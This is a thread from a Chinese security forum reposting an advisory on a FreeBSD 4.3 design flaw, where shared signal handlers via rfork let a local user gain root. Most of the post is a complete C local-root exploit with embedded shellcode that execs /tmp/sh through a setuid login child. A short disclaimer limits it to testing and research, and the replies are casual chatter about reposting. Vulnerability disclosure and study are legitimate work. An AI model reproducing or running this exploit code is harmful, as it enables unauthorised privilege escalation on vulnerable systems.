20CN网络安全小组第一代论坛
发表新主题  发表回复

个人资料 | 社区目录 用户登录 | | 论坛搜索 | 常见问题 | 论坛主页
  下一个最老的主题   下一个最新的主题
» 20CN网络安全小组第一代论坛   » 安 全 基 地   » 安全漏洞   » FreeBSD 4.3 设计漏洞 (BSD,缺陷)

   
作者 标题: FreeBSD 4.3 设计漏洞 (BSD,缺陷)
iexist
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
转自:加州旅馆
涉及程序:
FreeBSD

描述:
本地攻击者利用 FreeBSD 4.3 设计漏洞取得系统特权

详细:
发现 FreeBSD 4.3 存在一个设计上的漏洞,它允许用户在其它进程中插入 signal handlers。问题出在 rfork(RFPROC|RFSIGSHARE) ,如果子进程 exec() 一个 setuid 程序,然后父进程设置一个 signal handlers,这个 signal handlers 将会在子进程中被复制。发送一个信号给子进程将能导致 signal handlers 被执行。

利用此漏洞,本地攻击者能取得 root 权限。


以下代码仅仅用来测试和研究这个漏洞,如果您将其用于不正当的途径请后果自负


-------------vvfreebsd.c----------------------


/*
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/


#include
#include
#include
int vv1;


#define MYSIG SIGINT

//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80\x90\x90\x90";


typedef (*PROG)();
extern char **environ;


int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv("vv")))
{
setenv("vv",bsdshell,1);
if(!execle(av[0],"vv",NULL,environ))
{
perror("weird exec");
exit(1);
}
}


printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);


if(!(pid=rfork(RFPROC|RFSIGSHARE)))
{
printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
// if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
if(!execl("/usr/bin/login","login",0))
{
perror("exec setuid failed");
exit(2);
};
}
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf("done\n");
while(42);
}

----------------------------------------------

受影响版本:
FreeBSD 4.3
早期版本也许受影响

解决方案:
尚无

IP: 已记录
NetDemon
初级成员
编号: 2

评价成员
图标 1  发表于    NetDemon的个人资料   发送 Email 给NetDemon   发送新的短讯      编辑/删除帖子   引用原文回复  

此文章7月11日 23:20:23 发于 20cn.net

加州旅馆转了去,你再转回来,真有你的

------------------
微软给了我窗户,因此UNIX给了我房子
微软给我窗户了吗?没有
所以UNIX没有给了我房子
我仍然游荡在Internet上

发表: 4 | 注册: 2005-02-27  |  IP: 已记录
iexist
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
呵呵,我没看到,下次不会了!

------------------
明月松间照,清泉石上流。

IP: 已记录
密码
未注册


图标 1  发表于         编辑/删除帖子   引用原文回复  
哈。。。。有点意思,可是还是不明白?
IP: 已记录

 
发表新主题  发表回复 关闭主题 突出主题 移动主题 删除主题 下一个最老的主题   下一个最新的主题
 - 适于打印的主题视图
转到:
联系我们 | 20CN网络安全小组

Powered by Infopop Corporation
UBB.classic™ 6.5.0
NetDemon修改版 1.5.0, 20CN网络安全小组 版权所有。